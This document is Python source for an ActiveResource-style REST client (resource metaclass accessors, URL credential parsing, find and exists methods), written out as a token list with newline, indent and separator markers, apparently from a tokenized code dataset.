"\\u\\u\\uINDENT\\u\\u\\u ", " _", "host_", "=_", "urlparse_", "._", "urlsplit_", "(_", "value_", ")_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "auth", "\\u", "info_", ",_", "host_", "=_", "urllib2_", "._", "split", "user_", "(_", "host_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "auth", "\\u", "info_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", ",_", "password_", "=_", "urllib2_", "._", "split", "passwd_", "(_", "auth", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "cls_", "._", "\\u", "user_", "=_", "urllib_", "._", "unquote_", "(_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "password_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "cls_", "._", "\\u", "password_", "=_", "urllib_", "._", "unquote_", "(_", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cls_", "._", "\\u", "connection_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "._", "\\u", "site_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "headers_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cls_", "._", "\\u", "headers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "headers_", "(_", "cls_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cls_", "._", "\\u", "headers_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "timeout_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cls_", "._", "\\u", "timeout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "timeout_", "(_", "cls_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cls_", "._", "\\u", "connection_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "._", "\\u", "timeout_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "format_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cls_", "._", "\\u", "format_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "format_", "(_", "cls_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cls_", "._", "\\u", "connection_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "._", "\\u", "format_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "plural_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cls_", "._", "\\u", "plural_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "plural_", "(_", "cls_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cls_", "._", "\\u", "plural_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "singular", "_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cls_", "._", "\\u", "singular", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "singular", "_", "(_", "cls_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cls_", "._", "\\u", "singular", "_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "prefix", "\\u", "source_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "the", " ", "prefix", " ", "source", ",", " ", "by", " ", "default", " ", "derive", "d", " ", "from", " ", "site", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "cls_", ",_", "'\\u", "prefix", "\\u", "source", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cls_", "._", "\\u", "prefix", "\\u", "source_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "urlparse_", "._", "urlsplit_", "(_", "cls_", "._", "site_", ")_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "prefix", "\\u", "source_", "(_", "cls_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Set", " ", "the", " ", "prefix", " ", "source", ",", " ", "whi", "ch", " ", "will", " ", "be", " ", "render", "ed", " ", "int", "o", " ", "the", " ", "prefix", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "._", "\\u", "prefix", "\\u", "source_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "prefix_", "(_", "cls_", ",_", "options_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "the", " ", "render", "ed", " ", "prefix", " ", "for", " ", "this", " ", "object", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cls_", "._", "\\u", "prefix_", "(_", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "primary", "\\u", "key_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cls_", "._", "\\u", "primary", "\\u", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "primary", "\\u", "key_", "(_", "cls_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cls_", "._", "\\u", "primary", "\\u", "key_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Represent", "s", " ", "an", " ", "active", "resource", " ", "object", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "metaclass\\u\\u_", "=_", "Reso", "urc", "e", "Meta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "connection_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "format_", "=_", "formats_", "._", "XML", "Format_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "headers_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "password_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "site_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "timeout_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "user_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "primary", "\\u", "key_", "=_", "\"", "id", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Public", " ", "class", " ", "method", "s", " ", "whi", "ch", " ", "act", " ", "as", " ", "factor", "y", " ", "functions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Non", "-", "public", " ", "class", " ", "method", "s", " ", "to", " ", "support", " ", "the", " ", "above_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Public", " ", "instance", " ", "methods_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "id_", "=_", "property_", "(_", "get", "\\u", "id_", ",_", "set\\u", "id_", ",_", "None_", ",_", "'", "Value", " ", "store", "d", " ", "in", " ", "the", " ", "primary", " ", "key", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "method", "s", " ", "correspond", "ing", " ", "to", " ", "Rub", "y", "'", "s", " ", "custom", "\\u", "methods_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "property", " ", "whi", "ch", " ", "return", "s", " ", "class", "/", "instance", " ", "method", " ", "based", " ", "on", " ", "context_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "get_", "=_", "Class", "And", "Insta", "nce", "Method_", "(_", "'\\u", "class", "\\u", "get", "'_", ",_", "'\\u", "instance", "\\u", "get", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "=_", "Class", "And", "Insta", "nce", "Method_", "(_", "'\\u", "class", "\\u", "post", "'_", ",_", "'\\u", "instance", "\\u", "post", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "put_", "=_", "Class", "And", "Insta", "nce", "Method_", "(_", "'\\u", "class", "\\u", "put", "'_", ",_", "'\\u", "instance", "\\u", "put", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delete_", "=_", "Class", "And", "Insta", "nce", "Method_", "(_", "'\\u", "class", "\\u", "delete", "'_", ",_", "'\\u", "instance", "\\u", "delete", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "head_", "=_", "Class", "And", "Insta", "nce", "Method_", "(_", "'\\u", "class", "\\u", "head", "'_", ",_", "'\\u", "instance", "\\u", "head", "'_", ")_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "attributes_", "=_", "None_", ",_", "prefix", "\\u", "options_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Initializ", "e", " ", "a", " ", "new", " ", "Activ", "e", "Reso", "urc", "e", " ", "object", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "attribute", "s", ":", " ", "A", " ", "dictionar", "y", " ", "of", " ", "attribute", "s", " ", "whi", "ch", " ", "represent", " ", "this", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "prefix", "\\u", "options", ":", " ", "A", " ", "dict", " ", "of", " ", "prefix", "es", " ", "to", " ", "add", " ", "to", " ", "the", " ", "request", " ", "for", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "nest", "ed", " ", "URL", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "attributes_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attributes_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "klass_", "=_", "self_", "._", "\\u\\u", "class\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "attributes_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prefix", "\\u", "options_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "prefix", "\\u", "options_", "=_", "prefix", "\\u", "options_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "prefix", "\\u", "options_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "update_", "(_", "attributes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "errors_", "=_", "Errors_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "initialized_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "find_", "(_", "cls_", ",_", "id\\u_", "=_", "None_", ",_", "from\\u_", "=_", "None_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Core", " ", "method", " ", "for", " ", "finding", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "id", "\\u", ":", " ", "A", " ", "specific", " ", "resource", " ", "to", " ", "retrieve", ".", "\\", "10", ";", " ", " ", " ", " ", "from", "\\u", ":", " ", "The", " ", "path", " ", "tha", "t", " ", "resource", "s", " ", "will", " ", "be", " ", "fetched", " ", "from", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "query", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "Activ", "e", "Reso", "urc", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "Rai", "ses", ":", "\\", "10", ";", " ", " ", " ", " ", "connecti", "on", ".", "Error", ":", " ", "On", " ", "any", " ", "communication", "s", " ", "error", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "Error", ":", " ", "On", " ", "any", " ", "other", " ", "error", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "id\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cls_", "._", "\\u", "find", "\\u", "single_", "(_", "id\\u_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cls_", "._", "\\u", "find", "\\u", "every_", "(_", "from\\u_", "=_", "from\\u_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "find", "\\u", "first_", "(_", "cls_", ",_", "from\\u_", "=_", "None_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Core", " ", "method", " ", "for", " ", "finding", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "from", "\\u", ":", " ", "The", " ", "path", " ", "tha", "t", " ", "resource", "s", " ", "will", " ", "be", " ", "fetched", " ", "from", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "query", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "first", " ", "resource", " ", "from", " ", "the", " ", "list", " ", "of", " ", "return", "ed", " ", "resource", "s", " ", "or", " ", "Non", "e", " ", "if", "\\", "10", ";", " ", " ", " ", " ", "none", " ", "are", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", "Rai", "ses", ":", "\\", "10", ";", " ", " ", " ", " ", "connecti", "on", ".", "Error", ":", " ", "On", " ", "any", " ", "communication", "s", " ", "error", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "Error", ":", " ", "On", " ", "any", " ", "other", " ", "error", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resources_", "=_", "cls_", "._", "\\u", "find", "\\u", "every_", "(_", "from\\u_", "=_", "from\\u_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "resources_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "resources_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "find", "\\u", "one_", "(_", "cls_", ",_", "from\\u_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "a", " ", "single", " ", "resource", " ", "from", " ", "a", " ", "specific", " ", "URL", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "from", "\\u", ":", " ", "The", " ", "path", " ", "tha", "t", " ", "resource", "s", " ", "will", " ", "be", " ", "fetched", " ", "from", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "Activ", "e", "Reso", "urc", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "Rai", "ses", ":", "\\", "10", ";", " ", " ", " ", " ", "connecti", "on", ".", "Error", ":", " ", "On", " ", "any", " ", "communication", "s", " ", "error", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "Error", ":", " ", "On", " ", "any", " ", "other", " ", "error", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cls_", "._", "\\u", "find", "\\u", "one_", "(_", "from\\u_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "exists_", "(_", "cls_", ",_", "id\\u_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Check", " ", "whe", "ther", " ", "a", " ", "resource", " ", "exist", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "id", "\\u", ":", " ", "The", " ", "id", " ", "or", " ", "other", " ", "key", " ", "whi", "ch", " ", "speci", "fie", "s", " ", "a", " ", "unique", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "query", ".", "\\", 